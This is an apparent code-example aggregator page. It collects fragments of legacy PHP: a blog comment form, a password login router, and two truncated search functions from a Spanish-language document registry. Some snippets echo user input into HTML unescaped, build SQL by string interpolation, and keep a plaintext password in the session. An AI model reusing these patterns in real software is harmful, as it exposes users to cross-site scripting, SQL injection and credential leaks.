$posted = true;
} else {
echo '<p style="color:red">Error: Internal server error. Please try again later.</p>';
}
}
} else {
if ($_POST['remember'] && !$isauth && simplify($_REQUEST['captcha']) != 'machinegun' && simplify($_REQUEST['captcha']) != 'mg') {
echo '<p class="msg" style="color:red">Error: Wrong answer.</p>';
}
}
if ($comments) {
foreach ($comments as $i => $comment) {
if (count($comments) > 10 && $i == 0) {
echo '<div id="morecomments">';
}
if (count($comments) > 10 && $i == count($comments) - 10) {
?>
</div>
<script type="text/javascript">
<!--
document.getElementById('morecomments').style.display = 'none';
document.write('<p class="backforward" id="morecommentslink" style="text-align: left;"><a href="#comments" onclick="return morecomments();">Earlier comments</a></p>');
function morecomments()
{
document.getElementById('morecomments').style.display = 'block';
document.getElementById('morecommentslink').style.display = 'none';
return false;
}
-->
</script>
<?php
}
echo '<p><em><strong>' . htmlspecialchars($comment['name']) . '</strong>' . ($comment['admin'] ? ' <span style="color:#556688;font-size:10pt;">[Admin]</span>' : '') . ' wrote ' . onreldate($comment['time']) . ':</em></p><blockquote><p>' . ($comment['htmlcomment'] ? $comment['msg'] : nl2br(htmlspecialchars($comment['msg']))) . '</p></blockquote>';
}
} else {
echo '<p><em>No comments yet.</em></p>';
}
echo '<h4>Add a comment</h4>';
if ($posted) {
echo '<p class="msg">Success!</p>';
}
echo '<form action="' . $root . (tourl($id) == 'index' ? './' : tourl($id)) . '#comments" method="post" onsubmit="if (!document.getElementById(\'captcha\').value) {alert(\'Please answer the question. (Hint: The answer is machinegun)\');return false;}"><p id="testparagraph">Name:<br /><input type="text" class="textbox" name="name" value="' . ($_POST['name'] ? $_POST['name'] : $_COOKIE['name']) . '" size="20" /> <input type="checkbox" name="remember" id="remember" value="remember"' . ($_COOKIE['name'] ? ' checked="checked" />' : ' />') . '<label for="remember">Remember name</label><br />Message:<br /><textarea class="textbox" id="msg" name="msg" rows="8" cols="40">' . ($posted ? '' : $_REQUEST['msg']) . '</textarea><br />' . ($isauth && $_COOKIE['name'] && !$falsecookie || $isadmin ? '' : 'To prove you are not a spammer, you must correctly answer this question:<br />The first weapon you get in the single-player campaign is?<br /><input class="textbox" type="text" name="captcha" id="captcha" value="' . ($isauth ? 'machinegun' : $_REQUEST['captcha']) . '" /><br />(<em>Hint: The answer is machinegun</em>)<br />') . '<br /><input type="submit" value="Submit" /></p></form>';
?>
<script>
<!--
document.getElementById('msg').style.width = ''+(document.getElementById('testparagraph').offsetWidth-10>650?650:document.getElementById('testparagraph').offsetWidth-10)+'px';
if (document.getElementById('testparagraph').offsetWidth-10>650) document.getElementById('msg').style.height = '200px';
-->
</script>
<?php
if ($forgotten) {
echo '<p class="msg">Your name has been forgotten.</p>';
}
if ($_COOKIE['name']) {
echo '<form action="' . $root . (tourl($id) == 'index' ? './' : tourl($id)) . '#comments" method="post"><input type="submit" class="small" name="forget" value="Forget name" /></form>';
}
}
示例13: dirname
<?php
//这玩意是那个login.html对应的PHP文件,但那个还没画
//在执行这个文件时,用户传入了一个登陆密码和登陆之后要干的事的表单
require_once dirname(__FILE__) . '/help.php';
if (!isset($_POST['submit'])) {
exit('非法访问!');
}
$password = $_POST['password'];
ValidaPassword($password);
//没exit掉就是登录成功
session_start();
$_SESSION['password'] = $password;
//查看登陆行为
$action = $_POST['action'];
if ($action === 'upload') {
tourl("upload.php");
}
if ($action === 'generate') {
tourl("generate.php");
}
示例14: Ciudadano_show
function Ciudadano_show($nivelus, $tpRemDes, $whereFlds)
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db2;
global $db3;
global $sRADICADOErr;
global $sFileName;
global $styles;
global $ruta_raiz;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$db = new ConnectionHandler($ruta_raiz);
if ($tpRemDes == 1) {
$tpRemDesNombre = "Por Ciudadano";
}
if ($tpRemDes == 2) {
$tpRemDesNombre = "Por Otras Empresas";
}
if ($tpRemDes == 3) {
$tpRemDesNombre = "Por Entidad";
}
if ($tpRemDes == 4) {
$tpRemDesNombre = "Por Funcionario";
}
if ($tpRemDes == 9) {
$tpRemDesNombre = "";
$whereTrd = " ";
} else {
$whereTrd = " and dir.sgd_trd_codigo = {$whereFlds} ";
}
$sFormTitle = "Radicados encontrados {$tpRemDesNombre}";
$HasParam = false;
$iRecordsPerPage = 25;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
//Proceso de Vinculacion documentos
$indiVinculo = get_param("indiVinculo");
$verrad = get_param("verrad");
$carpeAnt = get_param("carpeAnt");
$nomcarpeta = get_param("nomcarpeta");
//
//$db->conn->debug=true;
//-------------------------------
// Build ORDER BY statement
//-------------------------------
//$sOrder = " order by r.RADI_NUME_RADI ";
$sOrder = " order by r.radi_fech_radi ";
$iSort = get_param("FormCIUDADANO_Sorting");
$iSorted = get_param("FormCIUDADANO_Sorted");
$krd = get_param("krd");
$form_params = trim(session_name()) . "=" . trim(session_id()) . "&krd={$krd}&verrad={$verrad}&indiVinculo={$indiVinculo}&carpeAnt={$carpeAnt}&nomcarpeta={$nomcarpeta}&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_PCLAVE=" . tourl(get_param("s_PCLAVE")) . "&s_PCLAVEE=" . tourl(get_param("s_PCLAVEE")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&s_ciudadano=" . tourl(get_param("s_ciudadano")) . "&s_empresaESP=" . tourl(get_param("s_empresaESP")) . "&s_oEmpresa=" . tourl(get_param("s_oEmpresa")) . "&s_FUNCIONARIO=" . tourl(get_param("s_FUNCIONARIO")) . "&s_entrada=" . tourl(get_param("s_entrada")) . "&s_salida=" . tourl(get_param("s_salida")) . "&nivelus={$nivelus}&s_Listado=" . get_param("s_Listado") . "&s_SGD_EXP_SUBEXPEDIENTE=" . get_param("s_SGD_EXP_SUBEXPEDIENTE") . "&";
// s_Listado s_ciudadano s_empresaESP s_FUNCIONARIO
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC ";
$sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ";
$sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . "&";
}
switch ($iSort) {
case 1:
$sOrder = " order by r.radi_nume_radi" . $sDirection;
break;
case 2:
$sOrder = " order by r.radi_fech_radi" . $sDirection;
break;
case 3:
$sOrder = " order by r.ra_asun" . $sDirection;
break;
case 4:
$sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
break;
case 5:
$sOrder = " order by r.radi_nume_hoja" . $sDirection;
break;
case 6:
$sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
break;
case 7:
$sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
break;
case 8:
$sOrder = " order by dir.sgd_dir_mail" . $sDirection;
//.........这里部分代码省略.........
示例15: Ciudadano_show
function Ciudadano_show($nivelus, $tpRemDes, $whereFlds)
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db2;
global $db3;
global $sRADICADOErr;
global $sFileName;
global $styles;
global $ruta_raiz;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$db = new ConnectionHandler($ruta_raiz);
if ($tpRemDes == 1) {
$tpRemDesNombre = "Por Ciudadano";
}
if ($tpRemDes == 2) {
$tpRemDesNombre = "Por Otras Empresas";
}
if ($tpRemDes == 3) {
$tpRemDesNombre = "Por Entidad";
}
if ($tpRemDes == 4) {
$tpRemDesNombre = "Por Funcionario";
}
if ($tpRemDes == 9) {
$tpRemDesNombre = "";
$whereTrd = " ";
} else {
$whereTrd = " and dir.sgd_trd_codigo = {$whereFlds} ";
}
if ($indiVinculo == 2) {
$sFormTitle = "Expedientes encontrados {$tpRemDesNombre}";
} else {
$sFormTitle = "Radicados encontrados {$tpRemDesNombre}";
}
$HasParam = false;
$iRecordsPerPage = 25;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
//Proceso de Vinculacion documentos
$indiVinculo = get_param("indiVinculo");
$verrad = get_param("verrad");
$carpeAnt = get_param("carpeAnt");
$nomcarpeta = get_param("nomcarpeta");
//
//$db->conn->debug=true;
//-------------------------------
// Build ORDER BY statement
//-------------------------------
//$sOrder = " order by r.RADI_NUME_RADI ";
$sOrder = " order by r.radi_fech_radi ";
$iSort = get_param("FormCIUDADANO_Sorting");
$iSorted = get_param("FormCIUDADANO_Sorted");
$krd = get_param("krd");
$form_params = trim(session_name()) . "=" . trim(session_id()) . "&krd={$krd}&verrad={$verrad}&indiVinculo={$indiVinculo}&carpeAnt={$carpeAnt}&nomcarpeta={$nomcarpeta}&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&s_ciudadano=" . tourl(get_param("s_ciudadano")) . "&s_empresaESP=" . tourl(get_param("s_empresaESP")) . "&s_oEmpresa=" . tourl(get_param("s_oEmpresa")) . "&s_FUNCIONARIO=" . tourl(get_param("s_FUNCIONARIO")) . "&s_entrada=" . tourl(get_param("s_entrada")) . "&s_salida=" . tourl(get_param("s_salida")) . "&nivelus={$nivelus}&s_Listado=" . get_param("s_Listado") . "&s_SGD_EXP_SUBEXPEDIENTE=" . get_param("s_SGD_EXP_SUBEXPEDIENTE") . "&";
// s_Listado s_ciudadano s_empresaESP s_FUNCIONARIO
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC ";
$sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ";
$sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . "&";
}
switch ($iSort) {
case 1:
$sOrder = " order by r.radi_nume_radi" . $sDirection;
break;
case 2:
$sOrder = " order by r.radi_fech_radi" . $sDirection;
break;
case 3:
$sOrder = " order by r.ra_asun" . $sDirection;
break;
case 4:
$sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
break;
case 5:
$sOrder = " order by r.radi_nume_hoja" . $sDirection;
break;
case 6:
$sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
break;
case 7:
//.........这里部分代码省略.........